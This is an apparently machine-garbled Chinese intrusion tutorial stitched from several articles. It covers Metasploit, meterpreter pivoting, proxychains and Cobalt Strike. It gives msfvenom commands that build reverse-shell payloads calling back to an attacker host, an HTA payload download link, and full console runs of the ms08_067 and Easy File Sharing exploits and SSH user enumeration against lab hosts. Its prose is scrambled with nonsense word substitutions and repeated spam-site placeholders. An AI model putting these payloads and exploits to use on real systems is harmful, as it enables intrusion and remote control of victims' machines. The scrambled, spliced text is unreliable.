if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){
continue;
}
header($ThusHead,FALSE);
}
echo $Body;
curl_close($ch);
?>

另搭建生机勃勃nginx服务器,加多如下配置

server {
listen 监听端⼝口;
location ~ () {
proxy_pass http://shell-ip/文件存放目录/proxy.php?url=http://$host/$request_uri;
proxy_set_header Host "访问webshell所用域名";
}
}

再也加载nginx配置,本地浏览器http代理设置为nginx服务器ip及监听端口,就可以兑现初阶的代理央求.

上边就用socat来大约演示下何以尽量隐蔽本身的团伙服务器,关于内网断网机器上线也是一模一样的道理,大家可活动尝试

use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
show options
set RHOST 10.0.0.1
set LPORT 12345
exploit

拓扑设计

www.tengbo9887.com 30

 

后天发觉了7.7.7.20(JCState of Qatar那台机械端口开放相当多,尝试寻找JC的尾巴,操作如下: 首先会见JC的80端口运转了何等cms,不过Attacker的浏览器间接访谈http://172.16.0.20会无法访问,因为Attacker的网段与JC 不在同一网段,此处有个要注意的源委:

大面积适用景况

想要搞领会那几个标题,首先要搞了然怎么着是反弹,为何要反弹。假诺大家攻击了黄金年代台机械,展开了该机器的叁个端口,攻击者在大团结的机械去老是目的机器(指标ip:指标机器端口),那是比较健康的款型,我们称为正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。

那正是说怎么着意况下正向连接不太好用了吧?
1.某客户机中了你的网马,可是它在局域网内,你平昔连接不了。它的ip会动态更动,你不得不断调节。
2.由于防火墙等限定,对方机器只可以发送要求,无法收到须要。
3.对于病毒,木马,受害者何时能中招,对方的网络情况是什么样的,哪天按键机,都以不知所以,所以创造二个服务端,让恶意程序主动连接,才是上策。那么反弹就很好精晓了, 攻击者钦命服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
作者:玄魂职业室-玄魂

www.tengbo9887.com 31

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

接下来起先扫描7.7.7.0网段,操作如下:

基本概念

reverse shell,就是决定端监听在某TCP/UDP端口,被控端发起呼吁到该端口,并将其命令行的输入输出转到调控端。reverse shell与telnet,ssh等标准shell对应,本质上是互连网概念的顾客端与服务端的剧中人物反转。通常用于被控端因防火墙受限、权限不足、端口被吞噬等景况。
作者:莫旭友

实际,监听器的职能很简单,重要是为了肩负payload回传的各样数据,

客商操作和此外职能解说:
1
2
3
4
5
6
7
8
9
10
11

二、Step1

http://53.3.3.6:80/download/plugins.hta

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php

root@kali:~# cat /etc/proxychains.conf | grep -v "#"dynamic_chainproxy_dns tcp_read_time_out 15000tcp_connect_time_out 8000socks4  172.16.0.20 1080  # First Pivotsocks4  172.16.0.20 1081  # Second Pivot 

www.tengbo9887.com 32

ASP
1

2卡塔尔EvoqueD为率先个已经渗透的对象,有两块网卡,对应172.16.0.0和7.7.7.0八个网段

# ./teamserver 团队服务器ip 设置二个团队服务器密码[别人要用这一个密码技艺连踏入] 配置文件[诚如暗中同意就可以] [YYYY-MM-DD]

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

为了让msf中兼有模块都能访谈到8.8.8.x网段,在新的meterpreter会话中加多路由:

www.tengbo9887.com 33

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24[*] Running module against DISCORDIA [*] ARP Scanning 7.7.7.0/24[*]     IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS) [*]     IP  7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS) [*]     IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS) [*]     IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS) meterpreter > 

win7cn 另生机勃勃台肉鸡 ip:192.168.1.123

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

msf > use exploit/multi/handler  msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 172.16.0.20  LHOST => 172.16.0.20msf exploit(handler) > set LPORT 1234 LPORT => 1234msf exploit(handler) > run [*] Started reverse TCP handler on 172.16.0.20:1234  [*] Starting the payload handler... [*] Sending stage (957487 bytes) to 172.16.0.11 [*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162)meterpreter > ifconfig Interface  1============ Name         : Software Loopback Interface 1Hardware MAC : 00:00:00:00:00:00MTU          : 4294967295IPv4 Address : 127.0.0.1IPv4 Netmask : 255.0.0.0IPv6 Address : ::1IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 11============ Name         : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:e1:3f:af MTU          : 1500IPv4 Address : 172.16.0.11IPv4 Netmask : 255.255.255.0Interface 19============ Name         : Intel(R) PRO/1000 MT Desktop Adapter #2Hardware MAC : 08:00:27:7f:3c:fe MTU          : 1500IPv4 Address : 7.7.7.11IPv4 Netmask : 255.255.255.0 

checkin抑遏让被控端回连三次

代表将10.0.0.1服务器上的3306端口转载到地点的55555端口,然后大家能够在地面运维mysql –h 127.0.0.1 –u root –P 55555 –p 去登录mysql。其余端口如ssh、ftp等都好像,那一个进程跟msf代理很像。
互联网上有关metasploit用法的素材相当多,这里首要记录一些常用用法,以致个人利用进度中的一些坑
参谋作品:http://www.freebuf.com/sectool/72135.htmlhttp://blog.csdn.net/lzhd24/article/details/50664342http://blog.csdn.net/qq_34457594/article/details/52756458http://www.freebuf.com/sectool/56432.htmlhttp://www.freebuf.com/articles/network/125278.html
传送门
【渗透神器连串】DNS消息查询【渗透神器种类】nc【渗透神器体系】nmap【渗透神器种类】Fiddler【渗透神器类别】找寻引擎【渗透神器类别】WireShark

此处的portfwd模块不只是名字上的端口转载的乐趣,近年来作者以为portfwd约等于半个ssh正向代理加四个ssh反向代理组成的汇总命令,ssh正向反向代理可参看这里的了然。ssh正向反向代理领会小编感觉portfwd命令之后Attacker能够透过寻访Attacker本人ip的2323端口从而访谈到JC的80端口时期发生了3件事。

第三种办法,在beacon shell中一贯实行powershell代码

基础payload
一声令下格式
1

发掘WranglerD有两块网卡后,想方法渗透另四个网段7.7.7.0,首先要增加路由[不加多路由也足以直接用meterpreter shell中的模块访问到7.7.7.x网段,增多路由的目标是为了使得msf模块能够访问到7.7.7.x网段],meterpreter shell能够访谈到7.7.7.x网段,msf 中的模块不能够访问到7.7.7.x网段,msf中的模块所处的ip是攻击者的ip,meterpreter shell所处的ip是大切诺基D的ip.在meterpreter中 增加路由的指标是为了给msf模块作代理,也即给Attacker作代理,可是只好给Attacker的msf模块作代理,要想给Attacker的别的应用程序作代理,则须求在meterpreter增添路由后再运营msf的拉开sock4的模块,然后再用proxychains来设置Attacker的别样 应用程序的代办为msf的展开sock4代理模块中设置的代理进口。

点击左上角的Cobalt Strike菜单

x86/shikata_ga_nai
cmd/powershell_base64

meterpreter > run autoroute -s 8.8.8.0/24[*] Adding a route to 8.8.8.0/255.255.255.0...[+] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20[*] Use the -p option to list all active routes 

www.tengbo9887.com 34

翻看补助的输出文件类型:
1

msf  > use exploit/windows/http/easyfilesharing_seh  msf exploit(easyfilesharing_seh) > show options  Module options (exploit/windows/http/easyfilesharing_seh):    Name   Current Setting  Required  Description    ----   ---------------  --------  -----------    RHOST                   yes       The target address    RPORT  80               yes       The target port Exploit target:    Id  Name    --  ----    0   Easy File Sharing 7.2 HTTP msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20 rhost => 7.7.7.20msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(easyfilesharing_seh) > run [*] Started bind handler [*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit... [+] 7.7.7.20:80 - Exploit Sent [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300 

note 给当前目录机器起个名字, eg: note beacon-shell

windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp

arp_scanner不太够用,无法扫到端口音讯[此刻也可用msf自带的别的可以扫描端口的模块如auxiliary/scanner/portscan/tcp来扫 描,因为后边加多了路由,使得msf中的模块能够用meterpreter作为代理访问到7.7.7.x网段],于是用Attacker本机的nmap来扫[可以更完全的扫描,nmap应该比msf中的扫描模块强盛],首先在揽胜极光D上开sockets4代理,然后用proxychains设置nmap的代理为msf模块开 启的Attacker的1080端口提供的代办,操作如下:

www.tengbo9887.com 35

明天玩了意气风发把内网渗透,此中最首要选拔了 metasploit 那款内网渗透神器。metasploit我们料定不不熟悉,小编也在很早从前就有接触过,但老是重复使用它时都会忘记一些用法,由此为了方便查询本人在本篇记录下metasploit神器的有的常用命令,以致内网渗透中怎么样利用它。
Mac下安装metasploit
mac下安装metasploit比较简单,官方网站下载pkg安装包,间接设置就可以;必要小心的是安装到位后的门路。msfconsole路线:
1

也即以后Attacker本地的1080端口的代办能够访谈到7.7.7.x网段,1081端口的代理可以访谈到8.8.8.x网段,然后将新开的端口 增多到proxychains的布局文件中:

比方,大家通过截屏发掘她登陆某些需求账号密码的站点,通过浏览器代理我就能够完毕无密码直接登陆他所登陆的百般站点,笔者表明技艺不好,相信我们应该都懂我意思

Download 下载文件
Edit 编辑
cat 查看
mkdir 创建
mv 移动
rm 删除
upload 上传
rmdir 删除文件夹

抑或从JC(7.7.7.20卡塔尔(قطر‎22端口入手:

pwd查看当前在目录系统中的路线

同盟木马弹Shell
眼下作者介绍了什么接纳msfvenom生成木Marvin件,这里小编介绍如何利用msf连接上被实施的木Marvin件,到达调控目的服务器。
常用payload
首先大家回想一下生成木Marvin件的授命,此中有二个payload的选项,常用的多少个payload。linux相关payload:
1
2
3
4
5
6

3.攻击者的浏览器访谈攻击者本身的172.16.0.20:2323

注意这里,暗中认可生成之后,它是我们友好组织服务器剖析的特别域名,实际中一定会将在手动把它改成肉鸡的域名或ip,那样,当下载访谈必定会将首先会拜访到肉鸡,而我们早就在肉鸡做了转账,所以最后照旧会高达大家的协会服务器成功下载到shellcode代码,笔者个垃圾,竟然连码都没打全,算了,反正vps立即也快到期了,打游击打习贯了,嘿嘿……^_^

PHP
1
2

1卡塔尔Attacker为攻击者,有叁个网卡,网段为172.16.0.0,Attacker系统为kali系统

www.tengbo9887.com 36

msfvenom -l payloads

客户端[cobaltstrike]

route print

当中-L只好设置为攻击者的ip,无法设置为肉鸡的ip,-L设置的ip能够是攻击者的内网ip,-r也足以是指标的内网ip,多个内网之 间通过meterpreter会话的"隧道"来衔接,假使-L后装置的ip是攻击者的内网ip,-r后安装的是指标机器的内网ip,portfwd通过 meterpreter会话连通两台,-l是指攻击者的监听端口,运转完上边的portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20 命令后,Attacker的2323端口将形成监听状态(也即Attacker会开启2323端口卡塔尔(قطر‎这里还要注意route add命令只能是在meterpreter会话中立竿见影,不能够系统全局有效,小编以为route add也是由此meterpreter会 话的"隧道"来兑现攻击者可以访谈指标机器其余网段机器的,也即在上头的Attacker通过portfwd来贯彻访谈目的机器其他网段 机器而不可能因为在portfwd模块运营前由于已经运转了route add模块而由Attacker的浏览器直接访谈目的7.7.7.20:80,因为 route add只会给msf的模块提供meterpreter会话通道作为代理服务,唯有meterpreter会话下可用的模块可以直接待上访谈7.7.7.x 网段,Attacker的浏览器想一向访谈7.7.7.20亟待动用proxychins和msf开启的sock4代理.

-> 选中Listeners

Windows Based Shellcode
1

nmap扫描如下:

www.tengbo9887.com 37

经常的话,在meterpreter中装置路由便足以直达通往其内网的目的。但是微微时候依旧会倒闭,那个时候大家得以background重临msf>,查看下外侧的路由景况。
1

[ProxyList]# add proxy here ...# meanwile# defaults set to "tor"#socks4  127.0.0.1 9050socks4  172.16.0.20 1080 

kerberos_ticket_use 从ticket文件中程导弹入票据

meterpreter>run autoroute -s 100.0.0.0/8 (按照指标内网网络而定卡塔尔国

www.tengbo9887.com 38

www.tengbo9887.com 39

例子:
1

root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vvProxyChains-3.1 (http://proxychains.sf.net)Starting Nmap 7.25BETA1 ( https://nmap.org )Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).NSE: Loaded 36 scripts for scanning. Initiating Connect Scan Scanning 8.8.8.9 [4 ports] |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK Discovered open port 21/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK Discovered open port 23/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK Discovered open port 22/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Discovered open port 80/tcp on 8.8.8.9Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports)Initiating Service scan at 05:54 Scanning 4 services on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host)NSE: Script scanning 8.8.8.9. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 05:54 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed NSE at 05:54, 1.71s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 05:54 Completed NSE at 05:54, 0.00s elapsed Nmap scan report for 8.8.8.9 Host is up, received user-set (0.41s latency). Scanned  PORT   STATE SERVICE REASON  VERSION 21/tcp open  ftp     syn-ack vsftpd 2.3.4 22/tcp open  ssh     syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)23/tcp open  telnet  syn-ack Linux telnetd 80/tcp open  http    syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds root@kali:~# 

www.tengbo9887.com 40

实施方案是vim文件,删除文件开头两能够照旧不可能的剧情。
msfconsole
效果:用来在命令行下运行metasploit。

Attention:能够选择选择proxychains设置Attacker的浏览器的代理为Attacker的1080端口的socks4代理进口,也可因而在本田UR-VD的meterpreter会 话中运营portfwd模块命令,portfwd命令如下:

应用’hta payload’协作’文件下载’模块向目的发送各个钓鱼链接,首先,创造二个hta的payload,这里的payload暂且只援救两种可施行格式,exe,powershell和vba(宏卡塔尔,实际中更推荐用powershell,成功率相对较高,好处就比超少说了,免杀,灵活…

meterpreter增添路由
基本上时候我们得到到的meterpreter shell处于内网,而大家须要代理到对象内网情形中,扫描其内网服务器。此时能够利用route功用,加多一条通往指标服务器内网的路由。
翻开shell网络遇到:
1

meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24[*] Running module against SRV03[*] ARP Scanning 8.8.8.0/24[*]   IP: 8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS)[*]   IP: 8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN)[*]   IP: 8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS)[*]    IP: 8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS) 

www.tengbo9887.com 41

www.tengbo9887.com 42

msf > use auxiliary/scanner/ssh/ssh_enumusers  msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20rhosts => 7.7.7.20msf auxiliary(ssh_enumusers) > set rport 22rport => 22msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt msf auxiliary(ssh_enumusers) > run [*] 7.7.7.20:22 - SSH - Checking for false positives [*] 7.7.7.20:22 - SSH - Starting scan [+] 7.7.7.20:22 - SSH - User 'admin' found [-] 7.7.7.20:22 - SSH - User 'root' not found [-] 7.7.7.20:22 - SSH - User 'Administrator' not found [+] 7.7.7.20:22 - SSH - User 'sysadm' found [-] 7.7.7.20:22 - SSH - User 'tech' not found [-] 7.7.7.20:22 - SSH - User 'operator' not found [+] 7.7.7.20:22 - SSH - User 'guest' found [-] 7.7.7.20:22 - SSH - User 'security' not found [-] 7.7.7.20:22 - SSH - User 'debug' not found [+] 7.7.7.20:22 - SSH - User 'manager' found [-] 7.7.7.20:22 - SSH - User 'service' not found [-] 7.7.7.20:22 - SSH - User '!root' not found [+] 7.7.7.20:22 - SSH - User 'user' found [-] 7.7.7.20:22 - SSH - User 'netman' not found [+] 7.7.7.20:22 - SSH - User 'super' found [-] 7.7.7.20:22 - SSH - User 'diag' not found [+] 7.7.7.20:22 - SSH - User 'Cisco' found [-] 7.7.7.20:22 - SSH - User 'Manager' not found [+] 7.7.7.20:22 - SSH - User 'DTA' found [-] 7.7.7.20:22 - SSH - User 'apc' not found [+] 7.7.7.20:22 - SSH - User 'User' found [-] 7.7.7.20:22 - SSH - User 'Admin' not found [+] 7.7.7.20:22 - SSH - User 'cablecom' found [-] 7.7.7.20:22 - SSH - User 'adm' not found [+] 7.7.7.20:22 - SSH - User 'wradmin' found [-] 7.7.7.20:22 - SSH - User 'netscreen' not found [+] 7.7.7.20:22 - SSH - User 'sa' found [-] 7.7.7.20:22 - SSH - User 'setup' not found [+] 7.7.7.20:22 - SSH - User 'cmaker' found [-] 7.7.7.20:22 - SSH - User 'enable' not found [+] 7.7.7.20:22 - SSH - User 'MICRO' found [-] 7.7.7.20:22 - SSH - User 'login' not found [*] Caught interrupt from the console... [*] Auxiliary module execution completed ^C msf auxiliary(ssh_enumusers) > 

www.tengbo9887.com 43

meterpreter > portfwd add -l 55555 -r 10.0.0.1 -p 3306

为了让Attacker的不外乎msf模块以外的其余应用程序能访问到8.8.8.x网段,再利用msf的开启sock4代理的模块开启其余多个端口 作为8.8.8.x网段的输入:

www.tengbo9887.com 44

留意:含有x陆十九只适用对象服务器为陆拾贰个人操作系统的,未有x64也许利用x86的只适用叁11人操作系统;含有meterpreter的模块会反弹meterpreter_shell,而平常的shell模块只会反弹普通的shell(反弹结果跟nc肖似);reverse_tcp代表木皇家赛马会主动连接目的服务器,bind_tcp代表木马会监听本地的端口,等待攻击者连接。由此生成的木Marvin件,要基于具体情状而定。
payload选择
前边介绍了常用的payload,那么payload选取的三大意素如下:
木马连接的大方向
对象操作系统及版本
反弹的shell类型

察觉8.8.8.9(SKState of Qatar那台机械恐怕有尾巴,用msf模块尝试getshell:

最终,大家看看目的符合规律上线,至于,怎么让对象内网中不能够健康连网的机械也能平常上线都以一模二样的道理,你能够把payload回连的流量弹到内网中其它一台能够健康上网的机械上,然后再去那台机器上把弹过来的流量转到我们团队服务器上,那样就可以完成让内网中不能够上网的机器也同等健康上线

或者用ms08067:

万生龙活虎您实际不放心,也足以尝尝同不常间在八个肉鸡上,做多元转载[也正是多加几层跳板],以此来糊弄对方,加大对手的滥觞难度,那是以此

msfvenom -p <payload> <payload options> -f <format> -o <path>

说明:

www.tengbo9887.com 45

反向连接:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
正向连接:
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

【编辑推荐】

www.tengbo9887.com 46

msf>route add 10.0.0.0 255.0.0.0 1

msf > use exploit/windows/smb/ms08_067_netapi  msf exploit(ms08_067_netapi) > show options  Module options (exploit/windows/smb/ms08_067_netapi):    Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    RHOST                     yes       The target address    RPORT    445              yes       The SMB service port    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) Exploit target:    Id  Name    --  ----   0   Automatic Targeting msf exploit(ms08_067_netapi) > set rhost 7.7.7.20rhost => 7.7.7.20msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > show options  Module options (exploit/windows/smb/ms08_067_netapi):    Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    RHOST    7.7.7.20         yes       The target address    RPORT    445              yes       The SMB service port    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/bind_tcp):    Name      Current Setting  Required  Description    ----      ---------------  --------  -----------    EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)    LPORT     4444             yes       The listen port    RHOST     7.7.7.20         no        The target address Exploit target:    Id  Name    --  ----   0   Automatic Targeting msf exploit(ms08_067_netapi) > run [*] Started bind handler [*] 7.7.7.20:445 - Automatically detecting the target... [*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown [*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English [*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX) [*] 7.7.7.20:445 - Attempting to trigger the vulnerability... [*] Sending stage (957999 bytes) to 7.7.7.20[*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444)  meterpreter > 

www.tengbo9887.com 47

Mac
1
2

上边访谈获得指标机器JC的80端口消息看来JC运营的是Eash File Sharing Web Server,可用msf中的模块尝试getshell,操作如 下(若无在meterpreter中增添路由msf是访谈不到7.7.7.20的State of Qatar:

www.tengbo9887.com 48

网络及系统操作:
1
2
3
4
5
6
7
8
9
10
11

开采成可用帐户密码admin:123456,然后再用sock4代理ssh登陆:

www.tengbo9887.com 49

getconf LONG_BIT

5卡塔尔国发轫Attacker只得到HavalD的msf的shell,对于指标内网情状不详,也不了然存在7.7.7.0和8.8.8.0那三个藏匿的网段

责编:

证实:1表示session 1,攻击机假如要去访谈10.0.0.0/8网段的财富,其下一跳是session1,至于何以是下一条这里非常少说了,反正就是现阶段攻击机能够访谈内网能源了。
meterpreter端口转载
黄金时代经近些日子大家扫描到了10网段的某部ip存在mysql弱口令,账号密码都有了,那么我们得以在肉鸡服务器上登陆目的服务器mysql。当然,假设自己想在攻击机上去登入mysql,能够选择端口转载。(某个情况下,内网的机器也不可能互相ssh,供给登入壁垒机)
在meterpreter shell中输入:
1

3State of QatarJC有两块网卡,对应7.7.7.0和8.8.8.0四个网段,JC有ms08-067和efs bof多少个漏洞,可getshell

www.tengbo9887.com 50

www.tengbo9887.com 51

三、Step2

www.tengbo9887.com 52

自选模块
转移实施计算器payload例子:
1

1.TiggoD寻访JC的80端口,这里一定于半个ssh正向代理

上一篇:没有了 下一篇:没有了